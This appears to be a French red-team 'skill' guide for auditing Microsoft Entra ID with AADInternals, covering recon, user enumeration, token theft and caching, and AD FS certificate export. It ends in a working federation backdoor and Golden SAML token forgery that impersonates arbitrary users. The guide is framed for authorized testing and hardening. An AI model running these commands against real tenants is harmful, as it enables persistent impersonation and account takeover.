Audit d'Entra ID avec AADInternals
Avis juridique : Cette compétence est exclusivement destinée aux tests de sécurité autorisés, aux engagements red-team et à des fins éducatives. AADInternals peut falsifier des jetons SAML et installer des backdoors de fédération permettant une usurpation persistante de n'importe quel utilisateur du locataire. Utilisez-la uniquement sur des locataires dont vous êtes propriétaire ou pour lesquels vous avez reçu une autorisation écrite explicite (règles d'engagement) pour effectuer des tests. Toute utilisation non autorisée enfreint le Computer Fraud and Abuse Act et les lois équivalentes.
Présentation
AADInternals est la boîte à outils PowerShell offensive/administrative la plus complète pour Microsoft Entra ID (anciennement Azure AD), Azure AD Connect et Active Directory Federation Services (AD FS), créée par le Dr. Nestori Syynimaa (Gerenios / Secureworks). Elle expose des centaines de cmdlets (tous préfixés par AADInt) couvrant la reconnaissance externe non authentifiée, l'acquisition de jetons d'accès pour chaque API Microsoft, la manipulation de l'annuaire, les attaques AD FS/PTA, et la technique pour laquelle elle est la plus célèbre : les backdoors de fédération qui abusent du chemin Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor de sorte qu'un attaquant contrôlant le IssuerUri d'un domaine fédéré puisse générer des jetons SAML pour des utilisateurs arbitraires — ce qui correspond à la technique MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), la même classe de technique utilisée dans les intrusions SolarWinds (Golden SAML).
Les capacités de la boîte à outils sont séparées en fonction de la position requise. Invoke-AADIntReconAsOutsider et Get-AADIntLoginInformation ne nécessitent aucune information d'identification — ils interrogent des points de terminaison publics (getuserrealm, configuration OpenID, autodiscover) pour révéler les domaines vérifiés, l'ID de locataire, le type de fédération, la marque et si le SSO Desktop/Seamless est activé. Avec un premier accès, les cmdlets Get-AADIntAccessTokenFor* acquièrent des jetons pour Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, et plus encore, en les mettant facultativement en cache pour que les cmdlets suivants les réutilisent. Avec un compte Administrateur Général (ou un compte Azure AD Connect synchronisé), la boîte à outils peut lire les secrets d'annuaire, manipuler les utilisateurs et établir la backdoor de fédération.
Cette compétence pilote AADInternals dans une optique de validation défensive : confirmer ce qu'un attaquant externe peut apprendre, ce qu'un jeton à faibles privilèges peut atteindre, et si la configuration de la fédération/AD FS permettrait un Golden SAML — puis produire des preuves et des recommandations de durcissement.
Quand l'utiliser
- Lors d'une évaluation autorisée d'Entra ID / Microsoft 365 en red-team ou en scénario de brèche supposée
- Pour énumérer la surface d'attaque externe (domaines vérifiés, type de fédération, SSO) avant des attaques par information d'identification
- Pour valider que les certificats de signature de jeton de fédération et d'AD FS sont protégés contre Golden SAML
- Pour tester l'acquisition et le rejeu de jetons sur les API propriétaires de Microsoft
- Lors de la construction de détections (associez-la à la compétence de chasse aux logs Graph par l'équipe bleue) et que vous avez besoin de la télémétrie réelle d'AADInternals
Prérequis
- Autorisation écrite couvrant les tests d'attaque sur l'identité et les backdoors de fédération
- Hôte Windows avec PowerShell 5.1+ (ou PowerShell 7 sur le sous-ensemble pris en charge)
- Pour les tests de backdoor/fédération : Administrateur Général (ou équivalent) dans le locataire cible, dans le périmètre selon les règles d'engagement
- Installer le module depuis la Galerie PowerShell :
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Une réimplémentation multiplateforme AsOutsider uniquement (sans informations d'identification) est également disponible : # https://github.com/synacktiv/AADOutsider-py - Connaissance de SAML/WS-Federation, des jetons OAuth et d'Azure AD Connect
Objectifs
- Effectuer une reconnaissance non authentifiée du locataire et énumérer les domaines vérifiés, l'ID de locataire et le type de fédération
- Acquérir et mettre en cache des jetons d'accès pour les API propriétaires de Microsoft
- Énumérer les utilisateurs/groupes/rôles avec un jeton authentifié
- Tester la backdoor de fédération / le chemin Golden SAML de manière contrôlée et autorisée
- Documenter l'exposition et fournir des recommandations de durcissement (protection des certificats de signature, surveillance de la fédération)
Mappage MITRE ATT&CK
| ID | Technique | Application dans cette compétence |
|---|---|---|
| T1606.002 | Forge Web Credentials: SAML Tokens | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forgent des jetons SAML pour des utilisateurs arbitraires via un IssuerUri de fédération contrôlé (Golden SAML) |
Techniques associées : T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (acquisition de jetons), T1556.007 Modify Authentication Process: Hybrid Identity (backdoors de fédération/PTA).
Workflow
Étape 1 : Reconnaissance externe non authentifiée
Aucune information d'identification requise. Identifiez les domaines vérifiés, l'ID de locataire, le type de fédération, la marque et l'état du SSO.
# Reconnaissance externe complète pour un domaine (sortie tabulaire)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Détails de connexion/de domaine : fédéré vs managé, AuthURL, marque
Get-AADIntLoginInformation -Domain "target.com"
# GUID du locataire
Get-AADIntTenantID -Domain "target.com"
Étape 2 : Énumération des utilisateurs externes (facultatif, bruyant)
Validez si les noms d'utilisateur existent via les points de terminaison GetCredentialType / autologon.
# Fournissez une liste d'UPN candidats pour tester leur existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# Ou passez-en plusieurs en pipeline :
Get-Content .\utilisateurs.txt | Invoke-AADIntUserEnumerationAsOutsider
Étape 3 : Acquérir et mettre en cache des jetons d'accès
Avec des informations d'identification valides (ou une invite interactive), obtenez des jetons pour l'API nécessaire. -SaveToCache permet aux cmdlets suivants de réutiliser automatiquement le jeton.
# Jeton Azure AD Graph (graph.windows.net hérité), mis en cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
Étape 4 : Énumération authentifiée de l'annuaire
En utilisant un jeton mis en cache ou acquis, lisez les objets d'annuaire pour cartographier les privilèges.
# Informations globales du locataire (utilise le jeton AAD Graph en cache)
Get-AADIntTenantDetails
# Énumérez les utilisateurs et recherchez les comptes privilégiés/synchronisés
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
Étape 5 : Inspecter la configuration de la fédération / AD FS
Déterminez si le locataire utilise des domaines fédérés et où se trouvent les clés de signature — la condition préalable pour Golden SAML.
# Si vous avez accès au serveur AD FS, exportez le certificat de signature
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Lisez la configuration / les clés de chiffrement AD FS (sur le serveur AD FS ou via DKM)
Get-AADIntADFSConfiguration -Server adfs.cible.com
Étape 6 : Backdoor de fédération / Golden SAML (uniquement autorisé)
Convertissez un domaine en backdoor en définissant un IssuerUri connu, puis forgez un jeton SAML pour un utilisateur cible en utilisant le ImmutableId de ce domaine. Uniquement dans un locataire contrôlé avec une autorisation explicite.
# Nécessite un jeton Administrateur Général (AAD Graph) mis en cache à l'étape 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.cible.com"
# La sortie inclut le IssuerUri à réutiliser lors du forgement des jetons.
# Forgez un jeton SAML en usurpant l'identité d'un utilisateur (ImmutableId depuis Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.cible.com/adfs/services/trust/" -UseBuiltInCertificate
# Utilisez le jeton forgé pour ouvrir une session portail en tant qu'utilisateur usurpé
Open-AADIntOffice365Portal -SAMLToken $saml
Étape 7 : Documenter l'exposition et durcir
Capturez exactement ce que la reconnaissance a révélé, quels jetons/API étaient accessibles, et si le chemin backdoor/Golden SAML a réussi. Recommandez : protéger les certificats de signature AD FS (HSM, accès DKM restreint), alerter sur les nouveaux/changements de relations de confiance de fédération, surveiller Set-DomainAuthentication/Set-MsolDomainFederationSettings, et migrer lorsque cela est possible vers une authentification cloud managée.
Outils et ressources
| Ressource | Objectif | Source |
|---|---|---|
| AADInternals | Boîte à outils d'attaque et d'administration Entra ID / AD FS | https://github.com/Gerenios/AADInternals |
| Documentation AADInternals | Référence des cmdlets et articles sur les techniques | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Réimplémentation multiplateforme AsOutsider | https://github.com/synacktiv/AADOutsider-py |
| Contexte Golden SAML | Article sur la technique de backdoor de fédération | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
Référence rapide des cmdlets
| Cmdlet | Position | Objectif |
|---|---|---|
Invoke-AADIntReconAsOutsider | Aucune | Domaines vérifiés, ID de locataire, type de fédération, SSO |
Get-AADIntLoginInformation | Aucune | Informations de domaine/de connexion pour un domaine |
Get-AADIntTenantID | Aucune | GUID du locataire |
Invoke-AADIntUserEnumerationAsOutsider | Aucune | Valider l'existence d'utilisateurs |
Get-AADIntAccessTokenForAADGraph | Informations d'identification | Jeton Azure AD Graph (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | Informations d'identification | Jeton Microsoft Graph |
Get-AADIntAccessTokenForEXO | Informations d'identification | Jeton Exchange Online |
Get-AADIntUsers | Jeton | Énumérer les utilisateurs de l'annuaire |
ConvertTo-AADIntBackdoor | Administrateur Général | Convertir un domaine en backdoor de fédération |
New-AADIntSAMLToken | Backdoor | Forger un jeton SAML pour un utilisateur (Golden SAML) |
Open-AADIntOffice365Portal | Jeton SAML | Ouvrir une session portail en tant qu'utilisateur usurpé |
Critères de validation
- Reconnaissance externe terminée ; domaines vérifiés, ID de locataire et type de fédération enregistrés
- Énumération des utilisateurs testée (ou documentée comme hors périmètre)
- Jeton d'accès acquis et mis en cache pour au moins une API Microsoft
- Énumération authentifiée de l'annuaire effectuée (utilisateurs/rôles, comptes synchronisés notés)
- Configuration de la fédération / AD FS évaluée pour l'exposition des clés de signature
- Chemin backdoor / Golden SAML testé dans un locataire autorisé et contrôlé ou documenté comme hors périmètre
- Exposition documentée avec impact concret
- Recommandations de durcissement fournies (protection des certificats, surveillance de la fédération, migration vers l'authentification managée)